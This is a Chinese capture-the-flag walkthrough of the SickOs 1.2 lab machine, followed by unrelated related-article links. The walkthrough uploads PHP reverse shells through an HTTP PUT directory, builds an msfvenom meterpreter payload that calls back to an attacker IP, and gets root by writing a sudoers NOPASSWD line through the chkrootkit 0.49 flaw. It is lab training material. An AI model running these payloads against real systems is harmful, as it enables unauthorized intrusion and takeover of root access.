SickOs:1.2

提权辅助工具LinEnum下载:https://download.csdn.net/download/weixin_41082546/11609409
提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428

 
首先获取目标ip地址,并探测端口
netdiscover -i eth0 -r 192.168.88.1/24
访问web,并查看源码,没有什么有用的东西
 
目录发现
 
 
curl -v -X OPTIONS http://192.168.88.201
curl -v -X OPTIONS http://192.168.88.201/test/
/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。
直接利用kali 自带的 reverse-shell
修改回连 的ip 地址和端口
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'
成功上传反弹shell 脚本
开启 本地 侦听
 
反弹 不成功
自己重新生成shell ,再次尝试。
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php
 
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit3.php',http-put.file='exploit3.php'
多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit5.php',http-put.file='php-reverse-shell.php'
第五次尝试
这次终于弹回来了!!!web权限。
ls -la /etc/cron.daily
查看计划任务,发现存在chkrootkit ,版本0.49
searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞
chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)
touch update
chmod +x update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update
sudo su root 获得root权限
 
第二种方法,利用我们 msf 进行利用
上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,
再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得ro

靶机-SickOs 1.2 Walkthrough的更多相关文章

  1. 靶机-BTRSys 2.1 Walkthrough

    BTRSys 2.1 https://www.vulnhub.com/entry/btrsys-v21,196/ 参考:https://www.jianshu.com/p/9813095ce04d 提 ...

  2. OSCP Learning Notes - Capstone(4)

    SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website ...

  3. 靶机-droopyCTF Walkthrough

    droopyCTF https://www.vulnhub.com/?q=droopy&sort=date-des&type=vm CTF镜像合集:https://www.vulnhu ...

  4. 11. CTF综合靶机渗透(四)

    运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of ...

  5. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  6. Walkthrough: Arranging Controls on Windows Forms Using Snaplines

    https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...

  7. Walkthrough: Creating and Using a Dynamic Link Library (C++)

    Original Link: http://msdn.microsoft.com/zh-cn/library/ms235636.aspx Following content is only used ...

  8. Burp Suite Walkthrough(英文版)

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

  9. Burp Suite Walkthrough

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

随机推荐

  1. Vue CLI 介绍安装

    https://cli.vuejs.org/zh/guide/ 介绍 警告 这份文档是对应 @vue/cli 3.x 版本的.老版本的 vue-cli 文档请移步这里. Vue CLI 是一个基于 V ...

  2. java日志学习(持续更新)

    1.Java实现日志 java日志体系大体可以分为三个部分:日志门面接口.桥接器.日志框架具体实现.原生日志实现(http://www.importnew.com/16331.html) Java日志 ...

  3. 16.python内置函数

    Python 内置函数:https://www.runoob.com/python/python-built-in-functions.html 原文:https://www.cnblogs.com/ ...

  4. c#链接redis用户名密码

    方法一 使用:ServiceStack.Redis 在ip:port前面加上@用来表示密码,比如password@ip:port <add key="RedisServer" ...

  5. 1043 输出PATest (20 分)C语言

    给定一个长度不超过 10^​4的.仅由英文字母构成的字符串.请将字符重新调整顺序,按 PATestPATest- 这样的顺序输出,并忽略其它字符.当然,六种字符的个数不一定是一样多的,若某种字符已经输 ...

  6. Selenium python爬虫

    Selenium + Python3 爬虫 准备工作 Chrome驱动下载地址(可正常访问并下载),根据自己chrome的版本下载 Chrome版本 下载地址 78 https://chromedri ...

  7. RHEL6.6安装Oracle 11g RAC - 基于VMware的实验环境

    实验环境准备虚拟机:VMware® Workstation 14 Pro操作系统:Red Hat Enterprise Linux 6.6 x86_64rhel-server-6.6-x86_64-d ...

  8. 最新idea注册激活(永久使用,亲测可用)

    IDEA破解 一.2018版本 首先下载此破解jar包:破解jar包,将其放到合适的文件夹(首选IDEA的同级目录)进行管理: 进入IDEA的根目录,打开bin文件夹中的idea.exe.vmopti ...

  9. Scala实践9

    1.特征 Traits用于在类之间共享接口和字段.它们类似于Java 8的接口.类和对象可以扩展特征,但是特征不能被实例化,因此没有参数. 定义一个特征 最小特征只是关键字trait和标识符: tra ...

  10. python关系(比较)运算符

    关系运算符 就是 比较运算符 a.对象的值进行比较 数字间的比较运算符连着使用: 数字与True.False的比较True 表示 1 , False 表示 0 数字与字符串的比较(不能比较) 字符串间 ...